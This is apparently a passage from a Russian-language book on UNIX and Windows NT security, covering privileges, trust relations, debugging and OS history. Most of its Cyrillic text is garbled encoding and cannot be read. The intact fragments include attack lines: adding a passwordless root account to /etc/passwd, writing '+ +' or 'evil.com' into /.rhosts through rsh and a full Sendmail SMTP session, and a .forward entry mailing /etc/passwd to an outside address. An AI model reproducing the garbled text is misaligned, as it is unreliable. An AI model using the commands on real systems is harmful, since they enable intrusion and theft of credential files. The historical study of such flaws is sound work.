"  ⮦⢫ ᫮ "daemon"  ᫮ "demon", ࠧ㬥 ⥬ ᠬ   ⠭᪮ 魮   UNIX  २ᯮ.  饥 . "Daemon" (  - ਬ. ॢ稪)  ᠬ  ⥫쭮  ॢ ଠ, 祬 "demon".  ᫮ 砥 ,    - ⭮ ᪫    ,  ।祭 㦨 । ⨯ 筮  㠫쭮. ॢ ४  ⨥ ᮭ쭮 , ஥ ᮮ⢥⢮  ᮢ६  - -࠭⥫. ࠫ쭮  ⨬ ⢮ ⨥ ,  ﭨ     ஭ ண .  ࠢ, UNIX ⥬ ⥭쪮   堬   (,  饬,   祬  ⫨砥  ⥬  襣  - ਬ. ॢ稪)."
  (Evi Nemeth), "㪮⢮ ⥬  UNIX" (Unix System Administration Handbook)



ᥢ짮⥫ 室  ᠬ  娨 짮⥫, 룫饩 ᫥騬 ࠧ:     UNIX ⮨ root -   㯥௮짮⥫, 騩 ࠭祭묨 ࠢ  ⥬. 㯥௮짮⥫ ᮧ  ࠢ ﬨ  ⠫, , 짮⥫.     UNIX  প ⠪ 뢠 ᯥ樠 짮⥫. 樠 짮⥫    १묨 ਢﬨ.    ਭ, ਬ,  짮⥫ ftp, ⠪  뢠 anonymous. ண ,  ᮡ ⫨稩  묨  ᯥ樠묨 짮⥫ﬨ ,  ᫥ 筮   짮⥫  㯯 (UID  GID ᮮ⢥⢥)  100.
ᥢ짮⥫ ਭ   ⥣ਨ,  樮 ⥬   ॢ   ⢮.  㤠  砥  WEB-ࢥ,  窨 ७ WEB-ࢥ  ⠭ 짮⥫, 騬 ਢ, 뤠  ࢥ஬.  樮 ⥬ 祣    ந室饬.  窨 ७ 樮 ⥬, 짮⥫, 稢襣  ਫ-ࢥ,     ﬨ ࠢ ᪫⥫쭮 ᠬ ࢥ.   ⠭ ⠪ 짮⥫ ⠫ 뢠 ᥢ짮⥫ﬨ.
筮 ᥢ짮⥫   ஢ ਢ, ࠭祭 ⢨  ࢥ஬.  믮  UNIX (    ࢥ)     䠩 "/etc/passwd"    ﭨ [106].  ⮣, 䠩  ४ਨ,   FTP  WEB - 㠫,  騥  祣 饣  ⢨⥫  . , ᥢ짮⥫  祬  ஦ ᭮ ⥬,   ᠬ ,   ⠪.
᪮, ࠢ ᢥ짮⥫ 砥 -ࢥ,  ⥭樠쭮 ᥢ짮⥫  ᫥   ਢ.  ᫨ ணࠬ  ।ᬠਢ ⮣ ,    訡,  믮  ⢨   ணࠬ. 設⢮ ࢥ஢  UNIX ᪠  ࠢ root      ᥬ ᠬ ⥬. ⮬, ᥢ짮⥫ ⢨⥫쭮   ᠭ樮஢   ⥬.
訢騩 ᠬ ᮡ 室 - ᪠ ࢥ ਫ  묨 ﬨ - ,  ᨫ ᮡ⥩ ⥪ UNIX. 筮 ࠭ ਢ, ࠧ㬥, ,  ࠬ⭠ ⮩ ॡ । 䨪樨,  饩   ⥬. 筮 ⠪,  ᪫  訡  ணࠬ.  몥   ஥ প ப ⨯  ⮬᪠ ஢ઠ <> 㪠⥫, 室  ࠭ ᨢ  ⠪ . ⮬, ᠭ ⮩稢 ࠡ ਫ,   ⥭  ப ,   ⭮ 㤭.  ஥, ᪠,  , 騩  ᥡ ண ஫  ணࠬ⮬. 祬,    ࠭ ⢨ 訡.     饭  ᥣ譨  , ப ᯮ騩  ணࠬ஢ ᬨ᪮ 孨. ப  ࠡ ணࠬ    ⥬ ⥭樠쭮 梨,    ⭮.
  ᯫ뢠  ࠤ ࠤ, 騩 ⠪ - <᫨ ࠤ३ ॥ த ⥬,  ⮫쪮 ⥬,   ॥ ᠬ,     த ᠬ ᥡ>? 筮 , ,   ॥ ⮫쪮 ,   ॥ ᠬ.  ᫨   ॥ ᠬ,  蠥  ? , 砥 ᪮ ४ᨢ .
ਬ⥫쭮   -  饭 ⥬ 祣  ᪠   ,  -   㤠 .   ᠬ , -   ,       ᯥ    ? 梨 ⥬ । 稥 .  饭? ⨢ ⭮, 饭 אַ ⨢ 梨.  ᤥ ⠪ 뢮  ⮫쪮 ᫥ 㦥 ਧ 梨!   -  ଠ ਧ 梨 ⥬,    ਧ  饭.  ⮬-  砥 ࠤ!


१ <>




"  ணࠬ, ᠭ   ᠬ.  ꥬ 䨪樨 室 ⥪  ᫥     ᯮ짮  (untrusted) .   ⮣  ஢ 몠,  ஬ ᠭ ணࠬ, ᭨, 室  訡 ⠭  㤭  㤭. " த㬠" (well installed) 訡  ப    [107]" - ந  ᮭ  ᢮ , ⠭   1983    ꥧ ਪ᪮ 樠樨 ୮ 孨.
  饭 ᠬ ᥭ ⮭ 訡     㦨 ६ ਭ, ᥣ   ६    ᠬ ⠫⫨   ६  த.
㯭 室 ⥪⮢ 樮 ⥬ UNIX  設⢠ ਫ, ᮧ  , ਢ  ⮬,  <ࠧ ⮢>,  ࠢ, 稭  稢  室 ⥪⮢,   ⪮஢ 設  (ࠢ,     ॡ 㤮 ᥬ஢,   㦥 㣠 ).   ⠫ , 訡, ⨢稢 ⢮७.
  ᮭ ਫ  , -   ᯮ 室 ⥪ ⠭⭮ ணࠬ login,  直 ࠧ  樨    ᯥ樠 , ᯮᮡ   ᥪ⭮ ஫ (  ᮭ) ய᪠   ⥬, ।⠢ ਢ஢ .
㦨   १砩 㤭 (   ਤ   ᥬ஢ 設 , ᫨  室 ⥪?),    .  ࠢ  室 ⥪ , 室 ஢  ⥬  ᠬ ஬:
 祬 , 㬠 ᮭ,    ᯮ ᥡ ᠬ   ஥    ? ᫨   <⮣>   ⠭ 室! (    ணࠬ  設 !).
⭮ ,  㤠 থ ⠪ ⠪  ⭮襭   ( ᥭ   ணࠬ ᯥ祭 㦭,  ࠩ ,  ⥪஬ ⥬).    ஢ 諥 ᯮᮡ ᮧ ਫ, 饥  蠭    ᯮ    砬 ஢. ⮬, ஧ ⠪ ⠭  易  ॠ쭮.
   ᭮ 뤠 䨪, । 饭 ⥬? ,    . 뤠 䨪 - 㡮 ଠ쭠 楤, ᢮  ᮯ⠢ ॡ, ।  ⥬    ७ﬨ ࠧࠡ稪.   -  ஢ન  ⢨⥫쭮  ஢ (    ⠫  ஢?). 砥 㬥 ந⥫    ᭮  뢮  ਭ ⥬  ⮬    . 筮,  祭 饭 奬, , ⥬  ,     - 䨪 ᠬ  ᥡ   ࠭ ⢨ 訡 ॠ樨,  祬, ஬ । म , 㦨  . ࠪ⨪ 뢠, -  ᢮ ࠭塞  UNIX  ᢮ ஢ ᮡ쥢  饭   ࠡ.
㣠 梨 砥  稥 ⠪ 뢠 ७ ⮢,   㧫,  ॡ ⥭䨪樨.   ࠧ१  ᥬ ॡﬨ ᭮,  祭 㤮. , ᫨ < > 롨 ᥡ <⮢饩> 祣 宣   , 筮,  ᫮,    ⮢饩  ४.  ᠬ   ࢥ ᥣ   ᯮᮡ, 騩 㡥,    ,   ᥡ 뤠. 諥       IP , ᪨  ७ 㧥. 筮,  ⢥ 㩤   ᠬ ७ 㧥  諥,  ⠪饣     ᮢ ⢥ ࢥ - 筮 ।  ⨯ <echo "kpnc::0:0:Hacker 2000:/:"> /etc/passwd> [108]  ⥬   .
,  ஡ ஭  ७    ७ ७: 祬    楯窠, ⥬  蠭ᮢ ஭  ⥬.  室 , 类  祫      㣨 祫 १  ᢮ . 筮,  ⪠ (    ᮬ?),  ਬ⥫쭮   ⥬: 祬   ?
筮 ᯨ᮪ ⥫ 㧫 ᮤন  䠩 "/etc/hosts.equiv"  "/.rhosts",  ⮨  ᥩ ᫥饣  "[ 짮⥫] 㧥".  짮⥫  ⢮, - ⮣  ࠧ襭 ᥬ 짮⥫  㪠 㧫. 筮 ⠪ १  ,    ᯥ樠 ᨬ "+". ᫨   㪠  ⢥ 㧫 -   ⥬ 㤥  ⮢.
맢  ⭨  ᢮ ⠪ ⨢ ⮬ , ਪ ⥫ 㧫, ᫠ 㤠 設 ᫥  "rsh echo + +>/.rhosts",  ⥬ ᠬ   ⥬. ⭮,  奬 ⠪ 뫠   -   ⭨,  - 訩 ।᪠  , ⨢ ஡ 孨᪨   䥢ࠫ᪨  ୠ Bell Labs, 襭  1985  (⭨  ⠪    1994 - ࠪ᪨  ⨫⨥ ).   ⭮     ⢮     ᥣ 㬠 ᠬ⥫쭮, ਮ ⠥  ࠢ   .
㣠 ᪠ ⠪ ᭮  થ  ணࠬ SendMail ᨨ 5.59.   砫   㪠  ⢥ ⥫ ᮮ饭  䠩 ".rhosts".  ਢ  ⮪, ⥫, ,    (⠫쭮 ᠭ   <⮪ SMTP>),  ஡ ਨ   ࠧ  堭 ⠪  ⮢ 짮⥫.
 #   㧫 - ⢮ [109]  ⮪ SMTP  25 ⮬


 telnet victim.com 25



 #뢠  ⢥  ⥫ ᮮ饭  䠩 "/.rhosts"

 rcpt to: /.rhosts



 #뢠  ࠢ⥫ ᮮ饭

 mail from: kpnc@aport.ru



 #稭  ⥪ ᮮ饭

 data



 #  ⥪ ( 㤥 ந஢)

 Hello!



 #窠 蠥  ᮮ饭

.



 # ᮮ饭

 #뢠  ⢥  ⥫  䠩 "/.rhosts"

 rcpt to: /.rhosts



 #뢠  ࠢ⥫ ᮮ饭

 mail from: kpnc@aport.ru



 #稭  ⥪ ᮮ饭

 data



 #  ᮡ⢥    㣮 ,  ஬  

 evil.com



 #窠 蠥  ᮮ饭

.



 #襭 ࠭樨  室

 quit




 ⮣     襭. ⠥   㤠 㧫     ,  㤨. ,  ᪫祭,  ।⢮ ⮪ rlogin   ᮬ 㯥-짮⠥.
  ⠪ ᫨誮     ⠭ 묨.  UNIX,    設⢥ 㣨 ⥢ 樮 ⥬,  ⥭樠쭮  ⢨ (  ஢ 䠩 ஫  ᮧ  짮⥫) ⮪,    ᮡ ᫥  ᥣ  -   䠩 ⮪  ⥫쭮 뫠  ⮢ 騪 ,     [110]!
 , "/.rhosts"    䠩,       뢠.  ⮬  砥  ⭨ - 䨪 "/.rhosts"  ⠫ 祭. ࠧ 堫⭥ 設⢮ ஢ ⭮  ᠬ ᭮ 筮 .   諥 祣  ⮨ ⠪  䠩 "/.forward", 墠뢠   ,  ⮬ ᫥  root-. 筮,   㢨   ஫, , ⥬  , 祭 ଠ   砥 ⥫쭮  쭥襥 ஭  ⥬,    ⥩  樠쭮 ਨ. ஡  䨣஢ SendMail    ਫ   㪮⢥    <⮢ ࢥ >.
 ਢ ਬ ,  室   䠩 "/.forward"  墠   ( ᫮,   ⮢  룫廊  root@somehost.org).   쬠, 㯠騥  ⥬,  㡫஢   kpnc@hotmail.ru
 \root, root@somehost.org, kpnc@hotmail.ru
筮 ⠪   த   ᥬ ⠫묨 짮⥫ﬨ ⥬.  ⮣ 筮  䠩 ".forward", 室騥   譨 ⠫, , ⮬, 筮  ஫㥬 ஬.  짮⥫  ᠬ⥫쭮 ।஢ ᢮ 䨣樮 䠩. ⮬,  ᥬ ᫥ , - 㤠  ,     -  짮⥫  諥? 筮,  ਢ  ਬ  쭮 ஧筮,  ᫨  ண 䠩 ,  蠭 ⮣,  ஭  ⥬ ⠭ 祭  ᪮, ᫨  㤥 祭.
, ᫨    䠩 ".forward", ,    ப ⨯ "|/bin/mail/ hack2000@hotmail.com </etc/passwd",  ஡  ॡ㥬 䠩  ⠢  . ( ਢ ਬ ᮤন 䠩 /etc/passwd 㤥 ࠢ   hack2000@hotmail.com).  㤭 ,  襭   ७ࠢ -뢮, ஡ ᠭ   <ன⢮   ७ࠢ -뢮>.
筮,  ᫮ ᯥ譮 ⠪ ⠪ - 稥   - ਫ, 믮饬  㤠 設.   祢  㦥 ⠭,  ᫨誮   ﯮ  ࠧࠡ稪   室.   ,    訡     . ⮡ 㤮⮢  ⮬, 筮    ᠩ, 饭 ଠ樮 ᭮ (ਬ, www.rootshell.com). 㬥,    , -  ᠩ ࠧࠡ稪 ਮ᪨  ࠢ,   ᨨ 室 㦥  ࠢ묨 訡.
  諥  堫⭮ ,  ⨢襣 ⠭ ᢥ ⪨.   㤨 ⠪ 뢠 , ᫨  設⢮.  ஬ ᫮ ᯥ  - 譥 ⮬ ⢥ত.  騪 몭 , ᫨   䨪樥 筮  ᠬ⥫쭮 ᪠   ⥬. ஡  ⮬ ᪠   <孮 뢠 ⥪>.
⠪, ⥪  UNIX  ४⭮ ࠡ騬 ਫ ।⠢ 諥 ਢ஢   ⥬, ⮬ ⥭樠쭮  UNIX - 梨. 뢠 ᫮ ᮢ६ ணࠬ  ⢮ ஢ ணࠬ  訡  .  ࠢ, ணࠬ ᯥ祭, ᯮ㥬  ᬨ᪮ 孨, ᮤন   訡  10  ப .  䨣 ࢥ, ࠡ饣  ࠢ UNIX,    祬   ப 室 .  ࠧ,  ᫮ ਫ, 訡 ᥣ ࠭஢ .  䠪,        ਢ  祭 ᠭ樮஢ 㯠,  祭, 祭  ⠪   ந室.
 ᫨  ᯮ 筮 ⢥ ॠ  ⮪ TCP/IP ( ⮩  4 BSD UNIX),   㤨,  UNIX ᫥ ᥣ ⮣  ࠡ.   楫 ⠪ 祭 ப      ᬮ७  ࠬ  .
- ᯠ᫨ ,    뢠   쭥襩 졥.      .  ᯠᥭ  .     졥 䠪 ᯠᥭ    ࠧ. ।⠢,  ਫ  ⮬:  誠 ᯠ ,  ⮬  ꥫ.".
 祢 "ਭ  "








᭮ UNIX


O  ⮩ :
O 堭 ࠧ ਢ
O    ᮢ
O  믮 ᮢ
O 堭 맮 ⥬ 㭪権
O ।⢠ ୮ ⢨
O  IPC (Interposes Communication)
O 訡 ॠ樨 堭 ࠧ塞 
O 堭 ⫠ ਫ
O 䨪 ᮢ







"ਡ, 頥 த騬  ।࠭⥫, 㬥   ।࠭⥫, ॣॢ ."
  




 殮 設⢠ ᢮ ਨ Unix  ᫥⥫᪮   㭨᪨  ஬諥 ᫥⥫.  뢮 襢 ࠡ稩 ⠭権 Unix 㯨   ,  ࠭塞 .    ஢:  稫,  ⠢騪 ࠡ ⠭権 뤥 ᢮  몠 C  ᢮ ⠭⭮  ணࠬ ᯥ祭  ⮣, ⮡  業   ࠧࠡ稪. 筠  ࠭ ⮣  ᫥ ᭠,   ᭮  ந諮  1990.
<Unix-haters handbook> Simson Garfinkel

 -짮⥫᪨,  ⥬ ( MS-DOS) ⨥ <᭮> 筮   ᨫ  ᫥ ᠬ ⠭ .  設, -     -짮⥫.
㣮  , 짮⥫᪨ ⥬.  ⮩  UNIX   設 室 ᯮ  ࠧ 짮⥫. ⮬, ⥭樠쭮  ᠭ樮஢ ⥫⢮  짮⥫   㣮.    믮  ஬ (   ⥬  ९ ᮭ쭮    祩)  ࠧ     䨧 . ᫨  ।ਭ । ,  짮⥫ ᬮ ந ࠧ    㣮  ᥬ ⥪騬  ᫥⢨ﬨ.
    뢠 㤨 ᯮᮡ ४⭮ ࠡ饩 ணࠬ, ᯮ饩  訬 ਢﬨ,  諥  ⥬.    짮⥫᪮ ਫ 墠 ஫  ⥬?      ⠫ 짮⥫᪨ ᠬ?   ⠪ ,  .
  饭 樮 ⥬  ᮮ⢥饩 ⭮ প  ஭ . , । 믮塞   ࠫ  ஢ ணࠬ  堭.  ᨨ UNIX ᯮ﫨     ᭮ ࠭⢥,      <>  㣮  ந ࠧ    ࠡ. ६ ய ஥஢  ⠬ ॡ ᭮  ন ᪨  ࠭⢠, ᯥ稢  ⤥ ॣ   , ⠪ 뢠, < >.   殬 易  権 । ਢ, ࠭ ⠪ ࠧ, ⮡ , ᯮ騩   ਢ஢ ,      ਢ஢. ⮬,  ࠢ쭮 ஥஢ 樮 ⥬  ᫮ ⢨ 訡 ॠ樨, 짮⥫᪨     ਢ஢ 㯠.
 ᠬ ,  祭 襭 奬. ᫨   ਢ஢    뢠  ਢ஢,    짮⥫᪮ ਫ      樮 ⥬, ᯮ饩    訬 ਢﬨ. ,  ⢮ 堭 맮 ਢ஢   ਢ஢ .
  ⮬᪨ ࠧ蠥  ன ࠬ ᭮. ᫨ 짮⥫᪨  ᬮ । ࠢ  ॡ㥬   ( ணࠬ) ਢ஢ ,     ᫥  .    ᠬ   UNIX   ⮫쪮 ?
쭮 楩 ᯮ  UNIX  .  ( ⥩襬 ।)  ᫥⥫쭮 権 믮 ணࠬ.  ஬ 設 権     ⥪, 祬   믮  ᮡ⢥ ᭮ ࠭⢥. ⮬, 孨᪨  ࠢ쭮   ,   믮塞 ணࠬ.
   UNIX  ᮡ⢥  ࠭⢮, ஬ ॣ஢   ⥪, -   । ﭨ ,  뢠 ⥪⮬.  ᭮ ࠭⢥ ᯮ: ᥣ [111] ᯮ塞  ( ନ UNIX 뢠 <⥪⮬> - text), ᥣ  (BSS - ᮪饭, ⢮  ᥬ   IBM 7090, ஢뢠騥  "block started by symbol" - , 稭騩  ᨬ)  ᥣ ⥪ (STACK).  "text"  "BSS" ᮮ⢥  ᥪ ᯮ塞 䠩,  ᥣ ⥪ ନ 樮 ⥬ ⮬᪨,  ᮧ .


१ <砭>




 ᥪ権 "text"  "BBS" 筮 ४祢  । Windows.   ⮬ , ⨢ ⨫ dumpbin (室  SDK, ⠢塞   Windows-஬), ਬ, ⠪ ࠧ:


 dumpbin /SUMMARY C:\WINDOWS\SYSTEM\Netbios.dll



 Microsoft (R) COFF Binary File Dumper Version 6.00.8168

 Copyright (C) Microsoft Corp 1992-1998. All rights reserved.



 Dump of file NETBIOS.DLL



 File Type: DLL



 Summary



 1000 bss

 1000 data

 1000 edata

 1000 idata

 1000 rdata

 1000 reloc

 1000 text




 UNIX  ᯮ     ० - ०   ० .  ᯥ祭 ᭮   ० ᯮ ᢮ ᮡ⢥ ⥪.  , -  ࠧ ⥬ 㭪 砥 㬥, ᫨    ⥪ ?
  , ࠧࠢ  堭 ४祭  ०   ० .  UNIX  室  ਢ஢ ० ᯮ 뢠. , 뢠 뢠, ⮬᪨ ॢ   ਢ஢ ०  । ࠢ ணࠬ ࠡ⪨ 뢠.  ᯥ樠쭠 ⠡ 뢠 (㯭 ⮫쪮  樮 ⥬)  ன   祩 ᫥ ࠢ  뢠  ᮤন ,   㤥 । ࠢ  砥   뢠.  ஡  뢠     ⮫   ᥬ  孨᪮ 㬥樨 .


१ <砭>




 樮 ⥬ LINUX  맮 ⥬ 㭪権 ᯮ 뢠 0x80,   樮 ⥬, ᮢ⨬  System V  ⮩  楫 室 । ࠢ  䨪஢  0007:00000000 (ᥣ ᥬ, ᬥ饭 ).  뢠 㭪樨  ।  㬥   ॣ ( LIUX)  ⠫  ⥪ ( ⥬, ᮢ⨬  System V).
 ࠧ, ᯮ짮 뢠 ( 䨪஢ )  짮⥫᪮  । ࠢ ⮫쪮  ।ᬮ७ ஬ ணࠬ,   ந  .  ⥪  ਪ   㯥,  । 㬥 㭪樨  ⥬ .   ,  㯭 ࠭⢮       ﭨ <> ॡ㥬 ࠬ ᠬ⥫쭮. ⭠ ॠ   ࠭ ⭮   ⮬  㤥 ᬮ७. 筮  - ਪ ணࠬ   㡭 ⢮   (筮  ⢨   訡 ॠ樨).
 樮 ⥬  MS-DOS (   UNIX) ⢮    㤮  室 樮 ⥬, 㫨 ।⢥  ⠬ -뢮 [112]. ६   ⪥ 짮⥫᪮    ,  ᪫祭, । ࠢ 樮 ⥬, ।⠢   ᠬ ࠢ  諥.  १,    ⢥࣭,  ਫ, 訢訥 㡮न - ,     㫨஢ ⥭ ()  ,  믮   ᠬ .
 㬠 ஭ UNIX    ३ । ࠧ஢,   ⢨⥫쭮   ⠪  [113].  ⥬   <> 㬥 UNIX  ਩  뢠   (core dump -  ࣮ ᪮ ணࠬ⮢ 騩 )  饤㯭 䠩  . 筮    㤠 㦨 ஫   ଠ,  ஭  ⥬. ਢথ UNIX 㢥, - 梨 ࠭ ࠢ ஢.  ᪮쪮  ᢥ   ஢? ࠢ 業 饭 ⥬  ன  㬮砭.   㬮砭, ।⢮  ,       ᭮ ࠭ 㣮 ,  ࠩ ,  ⥭.


१ <砭> *









  ᮭ  ⮬,    ᪮஢.  ⫨稥  設⢠ ⮬,     ᯨ,  㪠⥫ ,    ᫥ 祪,  ࠢ  ᮢ६ ⥫. , ᫨ ⥫  訡, ᪨ ⥫  ࠥ  業 ਡ୮ ᪨. " ⥫",  ᮭ, "筮 㧭,   ⠪".




祬,  ⢨⥫쭮 ࠢ ࠢ ஢ ⥬  ᪮॥ ⭮  ࠧ ஡ 樠 (    襣 ?)  宫᪨ (⠢-   ⮩  㬮砭!),  ।⠢  孨᪮ ஡.
㦥 ⮨   ࠧ塞묨 ﬨ   묨 , -   ।⢠ ୮ ⢨.  ⥬,  ன    堭  묨  ᠬ, -   㦭.  ᫨ UNIX ন 堭 ୮ ⢨,  ਢ    襭 ⨪ ᭮?
ᯥ UNIX  ⭮  稥 㤮  ⮣ ।⢠ ୮ ⢨ -  (⢮  樮 ⥬ DTSS - Dartmouth time-sharing System), ஡ ᠭ   <ன⢮   ७ࠢ -뢮>.  ⠪ ᯮᮡ    ᮡ  த⢥ ,   ᨫ쭮 ࠭稢   ਬ (祬, ⢮  ⠪ 뢠,  , 㯭 ᥬ ⠫ ᠬ).
 UNIX System V   IPC (interposes communication), ⥫쭮 騩  ୮ ⢨. ন: 堭 । ᮮ饭, ࠧ塞   ᥬ, 室  ᨭ஭樨 ஢.  ஥  ⢮  묨,  易⥫쭮 த⢥묨 ᠬ, ⮬  ⠫  ᯥ祭 ᭮.
 ᮢ⭮ ᯮ㥬 ꥪ (ਬ, ॣ ) 易  ன , 뢠饩 ࠢ 㯠  饩 짮⥫᪨  㯯  䨪樨. ࠢ 㯠  祬- 室  ਡ⠬ 䠩, -  롮筮 ࠧ , ⥭, 砥  ⤥ 짮⥫, ⠪  楫 㯯.  ᫮ ⢨ 訡 ॠ樨 ⠪ ⥬ 룫廊 ७  ⨢稢     .
 ᠬ  ணࠬ ⥭쪮 ᯥ筮 ⭮  ⠭ ਡ⮢   ।⠢   ࠧ塞  ( ᮤঠ饩 ਢ )    ⥬. ⠪ ⠪ த  ࠭   ।⠢ 讣   騪, ᪮     祭 ࠭祭.
 襬  뢠 ࠧࠡ稪 , 㦤 믮 ᫥   ᥣ 祢 ஢ન. ਬ,  ࠧ , 祭  ᭮ ࠭   ஢,   ᯮ ᫨誮   ⥪. ᫨ ⥪  ⮫쪮,   ࠭ ࠧ塞 , ந ⠫쭠 訡 ,     ଠ , ᨬ  ⥪,    !
ਢ  ਬ ᪮॥ ᪨ (     ॠ쭮 ),   來  भ ⪨ ७ᥭ ࠪ ⥮᪨ 몫   . ᥣ  ஧ ஭  ⥬, ᪮쪮   饭  룫拉.
,  ਬ,  ⫠ 

[114] (debug) ਫ. 稥 ⠪ 堭 ⭮ 砥  訡  ணࠬ,    ⥬    ஫஢  ࠡ. ⮬, 室  ࠧ   ᭮, 稢    ⢮ ஢ப.   UNIX 奬 ⫠ 筮 饭,  ࠩ 㤮  ࠧࠡ稪, ⮬  ⠪ । 室   ।७ 䨪樨   ९뢠 ⥬ 㭪樨 ptrace, 饩 ⫠.
ࠤ樮  UNIX ⫠   ⮫쪮   ᮡ⢥ ᮣ.  ⮣   맢 㭪 ptrace, ࠧ  ஢.   ᠬ   ࠭祭 䥬୮ - ⥬ 맮 exec  UNIX  ᮧ   (  ந室, ਬ,  Windows),  蠥 ⥪騩. ᫥⥫ 맮 ptrace  exec      ᭮ ࠭    ந ࠧ 訢   ࠡ, ᫨   ⥫ ஢ન:
 UNIX  饭 ⫠ setuid-ணࠬ (,  ࠧࠡ稪!),  뫮   , ᪠,   ணࠬ login , ࠫ  堭,   ⥬  ਢﬨ root. ,     ᯮ  ⮫쪮  ० 짮⥫,   !   ⫠      ஭  ⥬, ⮬  <⫨> ஢ ᮧ⥫ﬨ UNIX. , ࠧࠡ稪 ࠤ ⨦ ᭮ 諨 ࠧ१  ᠬ ணࠬ⮢!
筮 ⠪  ⫠ 㦥 饭 .  뢠 讥 ⢮ ࠧࠡ稪, 㦤 㤠   १᪠   ( Windows, ,  ⨬ ࠢ  ࠧ).
⠪,  । ⫠    ᫥ ஢ઠ: ⢥न  ⫠稪 稥 ⮬  㪠 䨪஬ (pid), ⥬ 㡥 室  ⫠   ﭨ ஢,      stupid-ணࠬ -  ⮫쪮 ᫥ ⮣ 㯨  ⫠.
 , -  ⠪ 䨪 ,   ࠭    ?  砫 ⮩  㦥 ⬥砫, - ﭨ  ࠭   ⥪, ᯮ  㯭   ᭮ ࠭⢥  ᥬ  饭  䨪樨. ⮬, ᪨   ਡ (ਬ, ਢ)   뭥ᥭ  ।  .  UNIX  ⮩ 楫 ᯮ ,  ஬ ᮤন , 㥬 ⠡楩 ᮢ.   樨஢   ᮬ  । 祩 ଠ樨 ᮤন <᪮> ᫮, 뢠 䨪஬ . ᪮ - ⮬  ஢    , ஬ . 䨪  ᨬ  ॠ樨  ।⠢ ᮡ        - ਪ ਫ    ⮬  ।⠢.     -  饭 㭪樥 fork 祭  ।  ⠫ ⥬ 㭪  ⢥ 㬥, ஥   ᠬ⥫쭮.
 ᫮ ⢨ 訡 ॠ樨 (,   訡!) ⠪ 奬 ᯥ稢   ᪮ ଠ樨.  ⠡쭮  (    ⠡ 拉?) ⥭樠쭮 ᯮᮡ  ਪ ਫ ஢ ⥬ . ᫥⢨ - 祢.
筮 ⠪,   ⫠    ᮣ - 筮 ᯮ  뢥 ⥪.      믮 ptrace, : ࠢ, ᫨ 訡 ணࠬ ਢ   뢠 ⥪  믮  ,    ਫ - ।   ⫠.
 ࠧ, ⠪  UNIX   ,  ॠ쭮. 筮, 設⢮ 訡 㦥   ࠢ,   ᫮   易  ᥭ . , ,       . 祬,  ⮬ ⢠ ப  室 ⥪ 㦨 訡 ⠭  ᫮  ᫮  諥, ⠪  ᠬ ࠧࠡ稪.
"쬠  ⨠ ஭ ᢮     ஡, ⮡  .  ,   㯮, ⮬ , ᫨     , ⠪    ᬮ  ᬥ?     祣, 祣  .
 梨,   ⠥ ᤥ 梨  ᬥ.  ࠭, ᯠ."
㠭 








Windows NT


O  ⮩ :
O    樨 Windows
O ⠪  Windows NT
O ⠪  Windows 95 (Windows 98)



  Microsoft








  Microsoft.  ६:
.. ୨祭 "㬥஢  Windows NT"

   Microsoft   㤨 㤭.   ஭ Microsoft - ᮬ  ୮ ਨ  , ணࠬ த ண ࠪ᪨ ஢ 뭮.  㣮 ஭, ⢮  ᠬ ணࠬ த⮢ ⠢  襣,   ॡ  ⥬ 㦤 ॡ⥫   뢭  ३ - 㯠       栬.  : ࠡ⠥  ⮩  ᪮,     . , ࠧ  ?
ਢ  ᣮ Intel  Microsoft - 类 ᫥ ᯥ樠쭮 砥 横 প  ᢮ த, ᨫ쭮 ਮ 짮⥫    ஢. , ⥫ 㤨,  Microsoft ਫ ⠭᪨ ᨫ  ⨬樨  Windows 95.  । ﭮ  設⢮ ᮭ ஢ ᭠頫 ᥣ  ⠬ ⨢ ,  㪮⢮   ࠧࠡ稪  ⪨ ࠬ, ஢ᨢ  <    ᢨ>.   ᥬ   ⠫ ⮩  (  Windows ࠡ⠫ 祭  )     4   䨧᪨ . 諮   ᫥ ஬  ७. ᫨  㪮⢮ 뫮   楬   뤥    8 , Windows 95   ᮢᥬ  -   ⮩稢  㭪樮쭮.  㦭 ࠧ ⨪   ⠫⮬ ᮧ⥫ ணࠬ த⮢.
 ⨪  㤮⢮   , -     ⠭     㤮 ᨮ,    㦥  ᪮ <稭饬 짮⥫>.  ப  ⥪⮢ ० ६⥫쭮 室  諮,  ᪨ 䥩  ᯥ稢   ० ந⥫쭮 , 㣠饣   - ⥪⮢      設쭮, ᫥, -   ஡,  ஬  㦭 㭪 ,    ࠭!
 㣮 ஭,   ᢮ 롮  ᠬ⥫쭮.    뢠 Microsoft ⮬ -     UNIX, BE OS, OS /2, ,  ࠩ 砥,  ⢠  樮 ⥬ ᠬ⥫쭮 (  誨 ).  ஢쭮 롨 த Microsoft  ⮬    , , , 쥧.    ⢮ ࠧ  ,    祭 ⨪  த樨.  ࠢ, -  ᯮ.
,  ७⮢ Microsoft    訬 ࠧ.  UNIX    ᫮  ⠭  ⮩. ᫨     , 蠭 ⠢ ⥬ ࠡ ⠡쭮, .   訡  த UNIX  , 祬  Microsoft (㡥  ⮬ , ⨢, ਬ, www.rootshell.com). , ࠩ   ,   ⢮ 祬- 訢    Microsoft.
 ६, 樮 ⥬ Windows த 墠뢠 뭮, ஭  -  ଠ ஢,  ᮪ந⥫ ࢥ஢  ࠡ ⠭権. ⨢  ७ ணࠬ ᯥ祭   UNIX  Windows,    ⨬   ᠬ ࠧࠡ稪.
  ᮬ: 訥  ன   Microsoft,  祭  Windows NT த ⮯ ࢥ ਫ. ,  ⫨稥   祭 UNIX, Windows NT ᪫  । ਧ. 㤨⥫쭮,   뢠  業   , 易  ᭮.







<:祫  ਧ ,  ᢮ 騪, ᥭ>
. 㫣. "  ࣠>









   樨 Windows




O  ᥬ
O BASIC -  蠣 Microsoft
O ⪠  ᮧ IBM PC
O  CP/M
O  MS-DOS
O ⠭ MS-DOS ⠭⭮ ⥬ IBM PC
O  MS-DOS 2.0
O ⥭   ᪮ 䥩  Palo Alto Research Center
O ࢠ 樮 ⥬ Apple Lisa
O  Microsoft  ࠧࠡ 樮 ⥬  Apple Macintosh
O 稭  Apple, ᪮  Apple  Microsoft
O  Windows
O 稭 ᯥ  ᨩ Windows
O  PC AT
O Microsoft ७ UNIX  PC  ।稢    ᨫ
O 稭 㤠  ७ᮢ UNIX-  PC
O  Microsoft  ᮢ襭⢮ MS-DOS,  MS-DOS 3.0
O ⪨ ஭ ந⥫ ਢ  MS-DOS 筮
O   祧 TopView, DESQview
O ⨢ﭨ ய Intel 80386 ३ IBM
O  PC   Intel 80386,    ३ IBM
O  Microsoft  IBM
O ࠡ⪠ OS/2 - 㭨ᠫ쭮 ⠡㥬 ⥬
O ⪠ ᮧ OfficeVision - ஭ ⥬ 㬥⮮
